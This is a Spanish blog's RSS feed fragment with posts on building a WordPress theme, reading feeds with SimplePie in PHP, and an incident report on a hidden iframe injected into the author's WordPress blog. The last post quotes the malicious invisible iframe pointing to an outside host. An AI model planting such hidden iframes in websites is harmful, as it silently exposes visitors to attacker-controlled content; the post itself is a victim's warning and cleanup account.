<p>Tras esto es necesario <strong>crear un archivo style.css</strong> que empiece por el siguiente texto, esto es importante ya que <strong>wordpress no reconocerá el theme si no tiene estos datos</strong> ya que wordpress utiliza esta información para mostrar los themes en el panel de administración. Si quieres ver un ejemplo utiliza el style.css del theme por defecto de wordpress.</p>
<pre>/*
Theme Name: Mi super Theme
Theme URI: http://www.entrecodigos.com/
Description: Theme de pruebas.
Version: 1
Author: Ruben Canton
Author URI: http://www.entrecodigos.com/
Tags: blue, custom header, fixed width, one column, widgets
*/</pre>
<p>Ahora sólo hace falta que coloquemos ciertos archivos php que definen la estructura de las distintas secciones de nuestro blog, sólo 3 de ellos son imprescindibles:</p>
<ul>
<li><strong>index.php</strong>: Es el archivo al que realmente se llama, éste es quien debe llamar a header.php y footer.php.</li>
<li><strong>header.php</strong>: incluye la cabecera.</li>
<li><strong>footer.php</strong>: Incluye el pie de página.</li>
</ul>
<p>Seguramente te preguntarás cómo meter un sidebar, widgets o cómo hacer estructuras distintas para listar categorías, páginas o resultados de búsqueda. Pues bien, por eso en la mayoría de themes hay muchos más archivos, los 3 anteriores son imprescindibles para un diseño básico, pero si quieres hacer algo mas complejo sin provocar que el index.php termine ocupando 800 líneas de código lleno de bifurcaciones será mejor que te mires la carpeta con el theme por defecto de wordpress y copies todos los archivos php que contiene. Así podrás tener todos los archivos y partir de una base, como hice yo, lo que puede resultarte muy útil.</p>
<p>Por último, existe una imagen llamada <strong>screenshot.png</strong> de 300&#215;225 que wordpress utiliza para mostrarte una minipreview del theme en el panel de administración, cuando termines tu theme puedes hacer una captura y colocarlo para distinguirlo fácilmente.</p>
<h2>¿Qué estilos colocar en style.css?</h2>
<p>Cada uno trabaja a su manera, si coges el style.css de algún theme te encontrarás con mucha basura o estilos que no vas a utilizar, si utilizas el style por defecto de wordpress no te libras de esa basura, y además, su forma de organizar el css puede que no se adapte a tu forma de trabajar, como me pasó a mi. Por lo que lo mejor es borrarlo todo y empezar desde 0 teniendo claro qué estilos sí son imprescindibles o necesarios, aunque como tú eres quien define la estructura puedes modificar el nombre de los mismos, te recomiendo que utilices los que vienen por defecto, así tu theme será más compatible. Te muestro la estructura básica:</p>
<ul>
<li>body</li>
<li>
<ul>
<li>page</li>
<li>
<ul>
<li>header</li>
<li>content</li>
<li>
<ul>
<li>post</li>
<li>postmetadata</li>
<li>entry</li>
<li>commentlist</li>
<li>commentmetadata</li>
<li>avatar</li>
<li>commentform</li>
</ul>
</li>
<li>sidebar</li>
<li>footer</li>
</ul>
</li>
</ul>
</li>
</ul>
<p>Por supuesto no hay que olvidar ponerle estilo a las típìcas etiquetas HTML como a, h1, h2, ul, ol, li, img, &#8230; y tras eso ya puedes empezar a crear tus propios estilos o bloques e incuirlos en la estructura y en el css.</p>
<p><strong>Nota</strong>: Si has copiado los archivos php del theme por defecto, fíjate que el header.php mete un estilo de forma dinámica en función del tipo de página que se carga, puedes utilizar esto si te interesa para tener distintos estilos o eliminarlo para que no te moleste.</p>
<p>Continuará&#8230;</p>
<p>Fuente: Un especial agradecimiento a Andrés Nieto, <a href="http://www.anieto2k.com/2006/01/28/cronicas-de-la-creacion-de-un-theme-i/">por su manual</a> y por <a href="http://www.anieto2k.com/2006/04/21/si-no-haces-un-theme-es-por-que-no-quieres/">su recopilación de manuales</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.entrecodigos.com/2009/01/como-crear-un-theme-de-wordpress-parte-1.html/feed</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Leer feed del Blog desde PHP</title>
		<link>http://www.entrecodigos.com/2008/09/leer-feed-del-blog-desde-php.html</link>
		<comments>http://www.entrecodigos.com/2008/09/leer-feed-del-blog-desde-php.html#comments</comments>
		<pubDate>Mon, 29 Sep 2008 18:49:54 +0000</pubDate>
		<dc:creator>Ruben</dc:creator>
				<category><![CDATA[blog]]></category>
		<category><![CDATA[taller]]></category>
		<category><![CDATA[feed]]></category>
		<category><![CDATA[rss]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://www.entrecodigos.com/?p=390</guid>
		<description><![CDATA[No hace mucho ya comenté que había decidido tener un blogroll más dinámico accediendo a los feeds de los blogs enlazados e incluyendo sus últimas entradas, como resultado obtuve el módulo del panel lateral titulado &#8220;Cosas que leo&#8220;.
Pero ayer necesitaba de nuevo acceder al feed, en este caso, de mi propio blog, y en vez [...]]]></description>
			<content:encoded><![CDATA[<p>No hace mucho ya comenté que había decidido tener <strong>un blogroll más dinámico</strong> accediendo a los feeds de los blogs enlazados e <strong>incluyendo sus últimas entradas</strong>, como resultado obtuve el módulo del panel lateral titulado &#8220;<em>Cosas que leo</em>&#8220;.</p>
<p>Pero ayer necesitaba de nuevo acceder al feed, en este caso, de mi propio blog, y en vez de utilizar un plugin de wordpress y editarlo, decidí que lo mejor era <strong>acceder directamente al xml y leerlo</strong>, supuse que tendría que crear una especie de librería ya que hay distintos formatos de feed (Atom 0.3, Atom 1.0, RSS 1.0, RSS 2.0, &#8230;) pero por suerte, encontré en un Foro un chico que deseaba hacer lo mismo y tras conseguirlo mostró el código.</p>
<p>Tras fijarme un poco en su código fuente, me di cuenta de que utilizaba unas funciones que no pertenecen a php y llamaba a una librería con un nombre curioso, &#8220;<strong>SimplePie</strong>&#8220;, buscamos en Google y resulta ser una librería que me quita todo el trabajo que yo creía iba a tener que hacer (esto del php&#8230; es la caña).</p>
<p>Y voilá, con <a href="http://simplepie.org">esa librería</a> así de sencillo resulta <strong>acceder a un feed y leer sus entradas</strong>:</p>
<pre>
function pintarFeedBlog($urlRSS){
include_once('./simplepie.inc');
$feed = new SimplePie();

if ($urlRSS !== ''):
&#09;$feed->set_feed_url($urlRSS);
&#09;$success = $feed->init();
&#09;$feed->handle_content_type();
&#09;if ($success):
&#09;&#09;foreach($feed->get_items() as $item):
&#09;&#09;&#09;echo '&lt;a href="' . $item->get_permalink() . '">';
&#09;&#09;&#09;echo $item->get_title() . '&lt;/a>&amp;nbsp;';
&#09;&#09;&#09;echo $item->get_date('j M Y, g:i a') . '&lt;br />';
&#09;&#09;&#09;echo $item->get_content();
&#09;&#09;endforeach;
&#09;endif;
endif;
}
</pre>
<p>Para quien le interese, os dejo un enlace a la <a href="http://simplepie.org/downloads/">página de descarga de SimplePie</a> y <a href="http://simplepie.org/wiki/reference/start">a su documentación</a>, con todas las funciones posibles.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.entrecodigos.com/2008/09/leer-feed-del-blog-desde-php.html/feed</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Inyección de iframe en Wordpress</title>
		<link>http://www.entrecodigos.com/2008/07/inyeccion-de-iframe-en-wordpress.html</link>
		<comments>http://www.entrecodigos.com/2008/07/inyeccion-de-iframe-en-wordpress.html#comments</comments>
		<pubDate>Tue, 15 Jul 2008 14:22:57 +0000</pubDate>
		<dc:creator>Ruben Cantón</dc:creator>
				<category><![CDATA[blog]]></category>
		<category><![CDATA[blogosfera]]></category>
		<category><![CDATA[informatica]]></category>
		<category><![CDATA[internet]]></category>
		<category><![CDATA[taller]]></category>

		<guid isPermaLink="false">http://www.entrecodigos.com/2008/07/inyeccion-de-iframe-en-wordpress.html</guid>
		<description><![CDATA[Este lunes me percaté de que el Blog tenía algún problema, concretamente, tardaba mucho en cargar e incluso a veces provocaba el cierre de mi explorador Firefox 3.0. Me di cuenta de que al entrar a mi Blog Firefox se ponía a realizar peticiones a la página de MSN y tras revisar si era mi [...]]]></description>
			<content:encoded><![CDATA[<p>Este lunes me percaté de que el Blog tenía algún problema, concretamente, tardaba mucho en cargar e incluso a veces provocaba el cierre de mi explorador Firefox 3.0. Me di cuenta de que al entrar a mi Blog Firefox se ponía a realizar peticiones a la página de MSN y tras revisar si era mi PC, mi versión de Firefox, algún complemento o el último plugin que instalé hace poco mas de una semana, conseguí encontrar <strong>un iframe bastante bien oculto al final del body</strong>:</p>
<pre>&lt;iframe src='http://onlinestat.cn/cgi-bin/index.cgi?qwopl'
width='1' height='1' style='visibility: hidden;'></iframe></pre>
<p>Buscando por Google me encuentro con que <a href="http://www.anieto2k.com/2007/11/06/nuevo-fallo-en-wordpress-inserccion-de-iframe/">Anieto ya se encontró un problema parecido</a> hace unos meses, aunque tras leer por <a href="http://wordpress.org/support/topic/134928/page/3">los foros de ayuda de wordpress</a> veo que <strong>el problema era distinto</strong> (el iframe se escondía en un trozo de código diferente).</p>
<p><span id="more-202"></span>Parece ser que últimamente está de moda la inyección de código en las webs ajenas, sobretodo por temas de Blak Hat SEO, aunque en mi caso, teniendo en cuenta que está haciendo peticiones a la web de MSN mas bien parece <strong>un intento de tumbarle la página a Microsoft</strong> (seguimos con los infantilismos&#8230;).</p>
<p>Sigo investigando el suceso, ya que hasta el momento <strong>no conozco dónde se encuentra esa puerta abierta</strong> y de poco me serviría buscar por la BD dónde han insertado eso, pero cuelgo esto aquí para avisar a quienes tengan un Blog en wordpress y para ver si alguien sabe cuál es la solución.</p>
<p><strong>Actualización: </strong>De momento he conseguido quitar el iframe &#8220;reinstalando&#8221; Wordpress (básicamente he subido la versión que tengo en mi PC local al servidor y tras sobreescribir todos los archivos parece que he limpiado el hack).</p>
<p>No obstante, <strong>la puerta sigue abierta&#8230;</strong></p>
<p><strong>Actualización 2</strong>: Siguen metiéndome el iframe, esta vez lo han colocado en la cabecera editando el header.php del template, y no tardan mucho en darse cuenta y reponerlo&#8230; tendré que hacer un análisis más profundo por si algún plugin hizo de &#8220;troyano&#8221; y ha abierto alguna puerta o si actualizando a la nueva versión se arregla el problema.</p>
<p><strong>Actualización 3</strong>: Encontré el código en un módulo externo a wordpress pero necesario para mi blog, el módulo en php que hace el rewrite de las páginas, tras limpiarlo he reinstalado todo y cambiado permisos y contraseñas y de momento la cosa funciona&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.entrecodigos.com/2008/07/inyeccion-de-iframe-en-wordpress.html/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
	</channel>
</rss>
